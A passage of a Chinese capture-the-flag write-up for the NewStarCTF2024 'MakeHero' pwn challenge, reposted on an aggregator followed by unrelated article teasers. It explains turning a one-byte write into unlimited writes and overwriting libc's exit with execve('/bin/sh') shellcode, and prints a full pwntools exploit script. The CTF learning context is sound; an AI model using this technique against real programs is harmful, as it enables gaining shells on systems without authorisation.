NewStarCTF2024 Week4 Pwn MakeHero

news/2025/11/24 20:25:19/文章来源:https://www.cnblogs.com/sumi007/p/19265575

主要是exp的写法

先checksec一下:

image

啥都开了

然后pwndbg里面运行一下,发现给了两个地址范围,动调一下发现第一个范围是代码段的内存地址,第二个范围是libc加载的内存地址(我本地左端点是libc_base+0x28000)

拖到ida里面整理一下:

image

相当于是给了两次机会,第一次机会可以修改一个代码段里面的一个字节,第二次机会可以修改加载到内存中的libc一个字节

仅凭这两次操作我们没办法直接getshell,我们考虑能不能创造出更多修改的机会,注意到终止条件的写法:

image

每次chance--,当chance为0时终止,如果我们第一次修改代码段,将--改为++,后面chance会恒大于1,那么我们就可以不限次数地任意修改libc段了

具体地,我们将8D 50 FF改为8D 50 01即可

然后我们考虑把exit函数的内容覆写为shellcode,因为最后退出的时候一定会调用exit函数:

屏幕截图 2025-11-24 201206

在ida中可以看exit函数的偏移和内容:

屏幕截图 2025-11-24 201304

我们从exit起始地址+4的位置开始覆写就好。

下面是exp的实现

from pwn import *
p = process('./pwn')
libc = ELF('./libc.so.6')
def write_mem(addr,data):val = dataif isinstance(data,bytes):val = u8(data)p.sendlineafter(b'\x89\xef\xbc\x81',hex(addr)+' '+hex(val))
def write_code(addr,data):for i in range(len(data)):write_mem(addr+i,data[i])
def Exploit():p.recvuntil(b'** ')code_base = int(p.recvuntil(b' -',drop=1),16)p.recvuntil(b'## ')libc_base = int(p.recvuntil(b' -',drop=1),16)p.sendline(b'Regules')write_mem(code_base+0x1877,0x1)print(hex(libc_base))shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"write_code(libc_base-0x28000+libc.sym.exit+4,shellcode)print(hex(libc_base+libc.sym.exit+4))gdb.attach(p)p.interactive()p.recvuntil(b'\x89\xef\xbc\x81')p.sendline(b'bye!')p.interactive()
if __name__ == '__main__':Exploit()

上面是过本地的exp,远程没过。

对比一下发现是libc_base的区别,远程的libc_base就是程序给的那个左端点,问了问deepseek,推测大概率是ld文件版本和远程不太一样导致的,我选.ld文件版本要比.so文件的版本稍微高一点,这可能造成了加载libc到内存中的差异。所以以后ld文件最好还是找完全一样的版本比较好。

因为上面这个问题卡了挺久,实际上如果你远程手玩一遍,本地手玩一遍,很容易发现两者存在差异,所以以后遇到涉及获取内存信息的题目,本地和远程都拿出来看看对比对比,是比较稳妥的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/975265.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

噬菌体筛选:纳米抗体阳性克隆富集的核心实验技术

噬菌体筛选是基于噬菌体展示技术,从抗体文库(如纳米抗体 VHH 文库)中高效富集能特异性结合目标抗原的阳性克隆的关键实验方法,通过 “亲和筛选 - 显色验证 - 克隆纯化” 的两轮筛选流程,可快速获得高特异性、高亲…

2025年11月GEO优化公司推荐热度榜:基于十大性能指标的结果承诺保障方案

根据中国信息通信研究院发布的2024年数字营销行业研究报告,全球GEO优化服务市场规模预计在2025年达到120亿美元,年复合增长率稳定在18%以上。用户需求从单一平台优化转向跨AI生态的全域智能适配,企业对品牌一致性、…

2025年11月GEO服务商推荐选择指南:专业分析维度助力企业的精准决策

根据中国信息通信研究院发布的2024年数字营销服务市场研究报告显示,全球GEO服务市场规模已达千亿级别,年增长率保持在25%以上。随着生成式人工智能技术的快速发展,企业对于在多元AI生态中构建品牌影响力的需求显著提…

SQL-leetcode—3475. DNA 模式识别 - 详解

SQL-leetcode—3475. DNA 模式识别 - 详解2025-11-24 20:19 tlnshuju 阅读(0) 评论(0) 收藏 举报pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: bloc…

「张张讲AI」AI资讯公众号:联动深圳人才集团,讲师输出资讯+授课,助力AI落地

张张讲AI:联动深圳人才集团,助力AI落地在人工智能飞速发展的时代,如何让前沿的AI技术真正落地,为企业和个人发展赋能,成为了众多从业者关注的焦点。张张讲AI作为一家以顶尖讲师IP驱动的AI应用实战专家,在这一领域…

使用frp实现内网穿透

frp实现内网穿透 前置条件:需要一台有公网IP的云服务器这里使用debian系统: 安装与使用 下载frp包 进入到/usr/local目录: cd /usr/local下载frp wget https://github.com/fatedier/frp/releases/download/v0.65.0/…

2025年11月GEO优化公司推荐权威榜单:十大品牌核心价值与解决方案解析

行业格局分析 根据中国信息通信研究院发布的2024年数字营销行业发展报告,全球GEO优化服务市场规模达到85亿美元,年增长率稳定在18%左右。该报告显示,随着生成式人工智能技术的快速发展,企业对专业GEO优化服务的需求…

2025年11月GEO公司推荐选择指南:专业分析维度助力企业精准决策

行业格局分析 根据中国信息通信研究院发布的2024年数字营销行业发展报告,全球GEO优化服务市场规模预计达到285亿美元,年增长率保持在18.5%以上。该报告指出,随着生成式AI技术的普及,企业对于跨平台品牌优化需求呈现…

2025年11月GEO服务商推荐评测报告:从稳定性到AI能力解决方案剖析

行业格局分析 根据中国信息通信研究院发布的2024年数字营销服务市场研究报告,全球GEO优化服务市场规模在2024年达到185亿美元,年增长率稳定在18.5%。该报告指出,随着生成式人工智能技术的快速发展,企业对GEO与AI优…

2025年11月GEO优化服务商推荐评测报告:从技术实力到实战成果的解决方案剖析

行业格局分析 根据中国信通院发布的2024年数字营销服务市场研究报告,全球GEO优化服务市场规模预计在2025年达到120亿美元,年复合增长率保持在18%以上。用户需求从传统的搜索引擎优化转向跨AI平台的智能语义优化,企业…

2025年11月GEO优化公司推荐评测报告:从稳定性到AI能力的解决方案剖析

根据中国信息通信研究院发布的2024年数字营销行业发展报告,全球GEO优化服务市场规模已达85亿美元,年增长率稳定在18%以上。在中国市场,随着生成式人工智能技术的快速普及,企业对专业GEO优化服务的需求呈现爆发式增…

macOS怎么关闭指定软件的开机自启

好的,在 macOS 上关闭指定软件的开机自启动有几种方法,这里为您详细介绍从最简单到最全面的几种方式。 方法一:通过“系统设置”(最常用、最简单) 这是 macOS 上管理登录项的主要方式,适用于绝大多数软件。点击屏…

WPF的四种曲线绘制

WPF的四种曲线绘制 在图形开发中,WPF(Windows Presentation Foundation)以其 声明式 UI 模型 和 硬件加速渲染架构 著称,在工控,医疗领域有非常广泛的应用。其中非常重要的一点就是WPF开发效率高,渲染性能好。WP…

2025年11月北京陪诊公司推荐榜:专业机构服务对比与选择指南

在医疗资源集中但就医流程复杂的北京,许多患者及家属面临着挂号难、科室不熟、流程繁琐等现实问题。尤其对于外地来京就医、老年人、行动不便或工作繁忙的人群,独立完成整个就诊过程往往耗费大量时间精力,并伴随较高…

2025年11月北京陪诊公司推荐榜:专业服务对比与用户口碑分析

在快节奏的都市生活中,就医过程往往伴随着诸多不便,尤其是对于外地来京患者、老年人、行动不便人士或工作繁忙的群体而言。选择一家专业的陪诊公司,能够有效缓解就医过程中的时间压力、流程不熟、体力消耗等痛点。当…

2025.11.24 - A

今天满课,上午数据结构和统一建模,下午Java,连接数据库,加油

Codeforces 1473E Minimum Path 题解 [ 蓝 ] [ 分层图最短路 ] [ 贪心 ] [ 构造 ]

Minimum Path 神仙分层图题。 不要考虑原式的实际含义,我们直接对整个式子考虑,设 \(e_{\max}\) 为最大边,\(e_{\min}\) 为最小边: \[\sum\limits_{i=1}^{k}{w_{e_i}} - \max\limits_{i=1}^{k}{w_{e_i}} + \min\li…

AI医疗应用研究项目获奖公布

某中心与加州大学洛杉矶分校联合公布四项AI医疗研究获奖项目,涵盖视网膜病变基因研究、非侵入性脑机接口、癌症地理分布分析和分子药物设计等前沿技术领域。研究项目概述 某中心与加州大学洛杉矶分校通过"人类与…

11.24每日总结

今天主要的课程有软件设计,软件开发案例分析,大数据技术,以及物联网工程,因为不幸感染了新型甲流,请了一周的病假,这周终于开始好转了,起码没有那么难受了,希望痊愈后能尽快补上落下的内容

P25_网络模型的保存与读取

P25_网络模型的保存与读取25.1网络模型的保存 (1)保存方式1:模型结构+模型参数点击查看代码 import torch import torchvision vgg16 = torchvision.models.vgg16(pretrained=False)#保存方式1,模型结构+模型参数 to…